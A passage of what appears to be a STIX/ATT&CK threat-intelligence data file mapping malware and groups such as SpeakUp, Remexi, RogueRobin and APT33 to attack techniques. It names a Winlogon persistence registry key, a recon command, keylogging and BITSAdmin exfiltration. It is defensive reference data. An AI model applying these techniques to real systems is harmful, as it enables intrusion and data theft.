"description": "[SpeakUp](https://attack.mitre.org/software/S0374) uses the cat /proc/cpuinfo | grep -c \u201ccpu family\u201d 2>&1 command to gather system information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T18:43:36.362Z", + "id": "relationship--0a8c04f1-c724-4215-92f0-3863b2a3d96d", + "source_ref": "malware--a5575606-9b85-4e3d-9cd2-40ef30e3672d", + "modified": "2019-04-22T20:29:31.363Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "CheckPoint SpeakUp Feb 2019", + "description": "Check Point Research. (2019, February 4). SpeakUp: A New Undetected Backdoor Linux Trojan. Retrieved April 17, 2019.", + "url": "https://research.checkpoint.com/speakup-a-new-undetected-backdoor-linux-trojan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[SpeakUp](https://attack.mitre.org/software/S0374) uses POST and GET requests over HTTP to communicate with its main C&C server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T18:43:36.375Z", + "id": "relationship--71d95d1d-d519-44d8-9177-b01196cf8fe3", + "source_ref": "malware--a5575606-9b85-4e3d-9cd2-40ef30e3672d", + "modified": "2019-04-22T20:29:31.365Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "CheckPoint SpeakUp Feb 2019", + "description": "Check Point Research. (2019, February 4). SpeakUp: A New Undetected Backdoor Linux Trojan. Retrieved April 17, 2019.", + "url": "https://research.checkpoint.com/speakup-a-new-undetected-backdoor-linux-trojan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[SpeakUp](https://attack.mitre.org/software/S0374) uses the whoami command.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T18:43:36.373Z", + "id": "relationship--375f92a4-13b2-4640-b192-c34eb2b91c9c", + "source_ref": "malware--a5575606-9b85-4e3d-9cd2-40ef30e3672d", + "modified": "2019-04-22T20:29:31.381Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "CheckPoint SpeakUp Feb 2019", + "description": "Check Point Research. (2019, February 4). SpeakUp: A New Undetected Backdoor Linux Trojan. Retrieved April 17, 2019.", + "url": "https://research.checkpoint.com/speakup-a-new-undetected-backdoor-linux-trojan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[SpeakUp](https://attack.mitre.org/software/S0374) deletes files to remove evidence on the machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T18:43:36.378Z", + "id": "relationship--86fe5a45-f9b8-4606-ba91-344e55d69173", + "source_ref": "malware--a5575606-9b85-4e3d-9cd2-40ef30e3672d", + "modified": "2019-04-22T20:29:31.396Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "CheckPoint SpeakUp Feb 2019", + "description": "Check Point Research. (2019, February 4). SpeakUp: A New Undetected Backdoor Linux Trojan. Retrieved April 17, 2019.", + "url": "https://research.checkpoint.com/speakup-a-new-undetected-backdoor-linux-trojan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[SpeakUp](https://attack.mitre.org/software/S0374) uses Perl and Python scripts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T18:43:36.389Z", + "id": "relationship--2209a958-9359-4866-80e9-80d0cc660868", + "source_ref": "malware--a5575606-9b85-4e3d-9cd2-40ef30e3672d", + "modified": "2019-04-22T20:29:31.395Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "CheckPoint SpeakUp Feb 2019", + "description": "Check Point Research. (2019, February 4). SpeakUp: A New Undetected Backdoor Linux Trojan. Retrieved April 17, 2019.", + "url": "https://research.checkpoint.com/speakup-a-new-undetected-backdoor-linux-trojan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[SpeakUp](https://attack.mitre.org/software/S0374) downloads and executes additional files from a remote server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T18:43:36.391Z", + "id": "relationship--1c3d2111-f234-4624-999e-ce902367c212", + "source_ref": "malware--a5575606-9b85-4e3d-9cd2-40ef30e3672d", + "modified": "2019-04-22T20:29:31.392Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "CheckPoint SpeakUp Feb 2019", + "description": "Check Point Research. (2019, February 4). SpeakUp: A New Undetected Backdoor Linux Trojan. Retrieved April 17, 2019.", + "url": "https://research.checkpoint.com/speakup-a-new-undetected-backdoor-linux-trojan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "description": "[Remexi](https://attack.mitre.org/software/S0375) decrypts the configuration data using XOR with 25-character keys.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T19:18:00.384Z", + "id": "relationship--85b0be36-c9fb-4359-b9b6-4e13300e374b", + "source_ref": "malware--ecc2f65a-b452-4eaf-9689-7e181f17f7a5", + "modified": "2019-04-22T20:18:06.961Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Legezo, D. (2019, January 30). Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities. Retrieved April 17, 2019.", + "source_name": "Securelist Remexi Jan 2019", + "url": "https://securelist.com/chafer-used-remexi-malware/89538/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638", + "description": "[Remexi](https://attack.mitre.org/software/S0375) encrypts and adds all gathered browser data into files for upload to C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T19:18:00.398Z", + "id": "relationship--b516dc1a-69c7-4dd2-935a-b0b1dcee150f", + "source_ref": "malware--ecc2f65a-b452-4eaf-9689-7e181f17f7a5", + "modified": "2019-04-22T20:18:06.984Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Legezo, D. (2019, January 30). Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities. Retrieved April 17, 2019.", + "source_name": "Securelist Remexi Jan 2019", + "url": "https://securelist.com/chafer-used-remexi-malware/89538/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[Remexi](https://attack.mitre.org/software/S0375) silently executes received commands with cmd.exe.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T19:18:00.406Z", + "id": "relationship--47d79025-5c64-4524-b8b7-d70c341972f9", + "source_ref": "malware--ecc2f65a-b452-4eaf-9689-7e181f17f7a5", + "modified": "2019-04-22T20:18:06.997Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Legezo, D. (2019, January 30). Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities. Retrieved April 17, 2019.", + "source_name": "Securelist Remexi Jan 2019", + "url": "https://securelist.com/chafer-used-remexi-malware/89538/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "description": "[Remexi](https://attack.mitre.org/software/S0375) executes received commands with wmic.exe (for WMI commands).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T19:18:00.417Z", + "id": "relationship--84221e86-8ed7-42d4-878f-951cc6eaf65c", + "source_ref": "malware--ecc2f65a-b452-4eaf-9689-7e181f17f7a5", + "modified": "2019-04-22T20:18:07.011Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Legezo, D. (2019, January 30). Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities. Retrieved April 17, 2019.", + "source_name": "Securelist Remexi Jan 2019", + "url": "https://securelist.com/chafer-used-remexi-malware/89538/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[Remexi](https://attack.mitre.org/software/S0375) searches for files on the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T19:18:00.424Z", + "id": "relationship--df0cfac5-fe50-4cc3-bc47-9a1d49c53e0a", + "source_ref": "malware--ecc2f65a-b452-4eaf-9689-7e181f17f7a5", + "modified": "2019-04-22T20:18:07.039Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Legezo, D. (2019, January 30). Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities. Retrieved April 17, 2019.", + "source_name": "Securelist Remexi Jan 2019", + "url": "https://securelist.com/chafer-used-remexi-malware/89538/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[Remexi](https://attack.mitre.org/software/S0375) uses AutoIt and VBS scripts throughout its execution process.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T19:18:00.433Z", + "id": "relationship--d08b9cb8-0f97-4933-b0de-40e4626dd13e", + "source_ref": "malware--ecc2f65a-b452-4eaf-9689-7e181f17f7a5", + "modified": "2019-04-22T20:18:07.066Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Legezo, D. (2019, January 30). Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities. Retrieved April 17, 2019.", + "source_name": "Securelist Remexi Jan 2019", + "url": "https://securelist.com/chafer-used-remexi-malware/89538/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--514ede4c-78b3-4d78-a38b-daddf6217a79", + "description": "[Remexi](https://attack.mitre.org/software/S0375) achieves persistence using Userinit by adding the Registry key HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T19:18:00.442Z", + "id": "relationship--9cae28f1-dbae-406b-b205-ab9c9cbd26f5", + "source_ref": "malware--ecc2f65a-b452-4eaf-9689-7e181f17f7a5", + "modified": "2019-04-22T20:18:07.064Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Legezo, D. (2019, January 30). Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities. Retrieved April 17, 2019.", + "source_name": "Securelist Remexi Jan 2019", + "url": "https://securelist.com/chafer-used-remexi-malware/89538/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Remexi](https://attack.mitre.org/software/S0375) uses [BITSAdmin](https://attack.mitre.org/software/S0190) to communicate with the C2 server over HTTP.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T19:18:00.452Z", + "id": "relationship--6ad392c7-3fc3-46d4-b479-5862e11a81d8", + "source_ref": "malware--ecc2f65a-b452-4eaf-9689-7e181f17f7a5", + "modified": "2019-04-22T20:18:07.087Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Legezo, D. (2019, January 30). Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities. Retrieved April 17, 2019.", + "source_name": "Securelist Remexi Jan 2019", + "url": "https://securelist.com/chafer-used-remexi-malware/89538/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[Remexi](https://attack.mitre.org/software/S0375) obfuscates its configuration data with XOR.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T19:18:00.460Z", + "id": "relationship--555ae36b-6066-43e1-bea4-d891c1db5835", + "source_ref": "malware--ecc2f65a-b452-4eaf-9689-7e181f17f7a5", + "modified": "2019-04-22T20:18:07.107Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Legezo, D. (2019, January 30). Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities. Retrieved April 17, 2019.", + "source_name": "Securelist Remexi Jan 2019", + "url": "https://securelist.com/chafer-used-remexi-malware/89538/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[Remexi](https://attack.mitre.org/software/S0375) utilizes Run Registry keys in the HKLM hive as a persistence mechanism.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T19:18:00.463Z", + "id": "relationship--64f1da46-93a7-4e70-8702-801dbaf26206", + "source_ref": "malware--ecc2f65a-b452-4eaf-9689-7e181f17f7a5", + "modified": "2019-04-22T20:18:07.111Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Legezo, D. (2019, January 30). Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities. Retrieved April 17, 2019.", + "source_name": "Securelist Remexi Jan 2019", + "url": "https://securelist.com/chafer-used-remexi-malware/89538/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "[Remexi](https://attack.mitre.org/software/S0375) utilizes scheduled tasks as a persistence mechanism.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T19:18:00.474Z", + "id": "relationship--387fa1e2-b8c5-4be4-b566-85b0525ed294", + "source_ref": "malware--ecc2f65a-b452-4eaf-9689-7e181f17f7a5", + "modified": "2019-04-22T20:18:07.109Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Legezo, D. (2019, January 30). Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities. Retrieved April 17, 2019.", + "source_name": "Securelist Remexi Jan 2019", + "url": "https://securelist.com/chafer-used-remexi-malware/89538/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[Remexi](https://attack.mitre.org/software/S0375) takes screenshots of windows of interest.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T19:18:00.480Z", + "id": "relationship--d5b4ef43-ddb4-4f95-95b9-6a352700bb77", + "source_ref": "malware--ecc2f65a-b452-4eaf-9689-7e181f17f7a5", + "modified": "2019-04-22T20:18:07.105Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Legezo, D. (2019, January 30). Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities. Retrieved April 17, 2019.", + "source_name": "Securelist Remexi Jan 2019", + "url": "https://securelist.com/chafer-used-remexi-malware/89538/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[Remexi](https://attack.mitre.org/software/S0375) gathers and exfiltrates keystrokes from the machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T19:18:00.483Z", + "id": "relationship--4df0f8e9-5956-4ccf-b603-00c32afee0d0", + "source_ref": "malware--ecc2f65a-b452-4eaf-9689-7e181f17f7a5", + "modified": "2019-04-22T20:18:07.132Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Legezo, D. (2019, January 30). Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities. Retrieved April 17, 2019.", + "source_name": "Securelist Remexi Jan 2019", + "url": "https://securelist.com/chafer-used-remexi-malware/89538/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--cd25c1b4-935c-4f0e-ba8d-552f28bc4783", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) has subset groups like Bluenoroff who have used cryptocurrency mining software on victim machines.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T19:42:41.457Z", + "id": "relationship--320c95d5-b135-443d-8930-235b22855090", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:45.650Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019.", + "source_name": "Kaspersky Lazarus Under The Hood Blog 2017", + "url": "https://securelist.com/lazarus-under-the-hood/77908/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "description": "[Micropsia](https://attack.mitre.org/software/S0339) searches for anti-virus software and firewall products installed on the victim\u2019s machine using WMI.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T22:02:11.769Z", + "id": "relationship--dd050277-bfac-41ba-a40f-7970f2d36189", + "source_ref": "malware--8c050cea-86e1-4b63-bf21-7af4fa483349", + "modified": "2019-04-17T22:05:05.962Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Rascagneres, P., Mercer, W. (2017, June 19). Delphi Used To Score Against Palestine. Retrieved November 13, 2018.", + "source_name": "Talos Micropsia June 2017", + "url": "https://blog.talosintelligence.com/2017/06/palestine-delphi.html" + }, + { + "description": "Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018.", + "source_name": "Radware Micropsia July 2018", + "url": "https://blog.radware.com/security/2018/07/micropsia-malware/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--20138b9d-1aac-4a26-8654-a36b6bbf2bba", + "description": "[Stolen Pencil](https://attack.mitre.org/groups/G0086) sent spearphishing emails containing links to domains controlled by the threat actor.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T22:54:06.352Z", + "id": "relationship--cc64e6c5-b8c6-4cae-a007-2512c75f82cb", + "source_ref": "intrusion-set--7a0d4c09-dfe7-4fa2-965a-1a0e42fedd70", + "modified": "2019-06-24T19:09:46.324Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019.", + "source_name": "Netscout Stolen Pencil Dec 2018", + "url": "https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "description": "[Stolen Pencil](https://attack.mitre.org/groups/G0086) has used tools that are capable of obtaining credentials from saved mail.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T22:54:06.365Z", + "id": "relationship--bce63312-8382-4bd2-8ce4-9405fa0d25ff", + "source_ref": "intrusion-set--7a0d4c09-dfe7-4fa2-965a-1a0e42fedd70", + "modified": "2019-06-24T19:09:46.360Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019.", + "source_name": "Netscout Stolen Pencil Dec 2018", + "url": "https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6aabc5ec-eae6-422c-8311-38d45ee9838a", + "description": "[Stolen Pencil](https://attack.mitre.org/groups/G0086) has a tool to add a Windows admin account in order to allow them to ensure continued access via RDP.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T22:54:06.373Z", + "id": "relationship--e26d87da-b98e-4c88-ae46-232434ed658d", + "source_ref": "intrusion-set--7a0d4c09-dfe7-4fa2-965a-1a0e42fedd70", + "modified": "2019-06-24T19:09:46.357Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019.", + "source_name": "Netscout Stolen Pencil Dec 2018", + "url": "https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830", + "description": "[Remexi](https://attack.mitre.org/software/S0375) has a command to capture active windows on the machine and retrieve window titles.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T22:55:43.570Z", + "id": "relationship--b2cf2404-a612-4832-8dff-9f5572776785", + "source_ref": "malware--ecc2f65a-b452-4eaf-9689-7e181f17f7a5", + "modified": "2019-04-22T20:18:07.135Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Legezo, D. (2019, January 30). Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities. Retrieved April 17, 2019.", + "source_name": "Securelist Remexi Jan 2019", + "url": "https://securelist.com/chafer-used-remexi-malware/89538/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "description": "[Remexi](https://attack.mitre.org/software/S0375) performs exfiltration over [BITSAdmin](https://attack.mitre.org/software/S0190), which is also used for the C2 channel.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T22:55:43.579Z", + "id": "relationship--551c4e98-3dfb-472b-8fa8-6a8961dfd418", + "source_ref": "malware--ecc2f65a-b452-4eaf-9689-7e181f17f7a5", + "modified": "2019-04-22T20:18:07.133Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Legezo, D. (2019, January 30). Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities. Retrieved April 17, 2019.", + "source_name": "Securelist Remexi Jan 2019", + "url": "https://securelist.com/chafer-used-remexi-malware/89538/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f", + "description": "[Remexi](https://attack.mitre.org/software/S0375) collects text from the clipboard.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T22:55:43.590Z", + "id": "relationship--5940076b-120a-4588-b227-7fe2bc9f7ccd", + "source_ref": "malware--ecc2f65a-b452-4eaf-9689-7e181f17f7a5", + "modified": "2019-04-22T20:18:07.150Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Legezo, D. (2019, January 30). Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities. Retrieved April 17, 2019.", + "source_name": "Securelist Remexi Jan 2019", + "url": "https://securelist.com/chafer-used-remexi-malware/89538/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", + "description": "[RogueRobin](https://attack.mitre.org/software/S0270) has used Google Drive as a Command and Control channel.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-18T00:26:13.517Z", + "id": "relationship--83bab2a0-5cbc-406e-beaf-a657ef73717d", + "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122", + "modified": "2019-04-24T23:55:43.441Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, B., Falcone, R. (2019, January 18). DarkHydrus delivers new Trojan that can use Google Drive for C2 communications. Retrieved April 17, 2019.", + "source_name": "Unit42 DarkHydrus Jan 2019", + "url": "https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "description": "[RogueRobin](https://attack.mitre.org/software/S0270) uses WMI to check BIOS version for VBOX, bochs, qemu, virtualbox, and vm to check for evidence that the script might be executing within an analysis environment.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-18T00:26:13.521Z", + "id": "relationship--93b08370-9c05-47df-b067-368343dba24a", + "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122", + "modified": "2019-04-24T23:55:43.449Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", + "source_name": "Unit 42 DarkHydrus July 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/" + }, + { + "description": "Lee, B., Falcone, R. (2019, January 18). DarkHydrus delivers new Trojan that can use Google Drive for C2 communications. Retrieved April 17, 2019.", + "source_name": "Unit42 DarkHydrus Jan 2019", + "url": "https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd", + "description": "[APT33](https://attack.mitre.org/groups/G0064) has used password spraying to gain access to target systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-18T14:44:18.146Z", + "id": "relationship--8b5691c7-1815-4d76-a7dd-dfd827043bb9", + "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", + "modified": "2019-06-28T15:05:33.406Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019.", + "source_name": "FireEye APT33 Guardrail", + "url": "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852", + "description": "[APT33](https://attack.mitre.org/groups/G0064) has used kill dates in their malware to guardrail execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-18T14:44:18.163Z", + "id": "relationship--60df992b-7728-4736-b7bb-98d4578460f8", + "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", + "modified": "2019-06-28T15:05:33.690Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019.", + "source_name": "FireEye APT33 Guardrail", + "url": "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0bf78622-e8d2-41da-a857-731472d61a92", + "description": "[FIN4](https://attack.mitre.org/groups/G0085) has created rules in victims' Microsoft Outlook accounts to automatically delete emails containing words such as \u201chacked,\" \"phish,\" and \u201cmalware\" in a likely attempt to prevent organizations from communicating about their 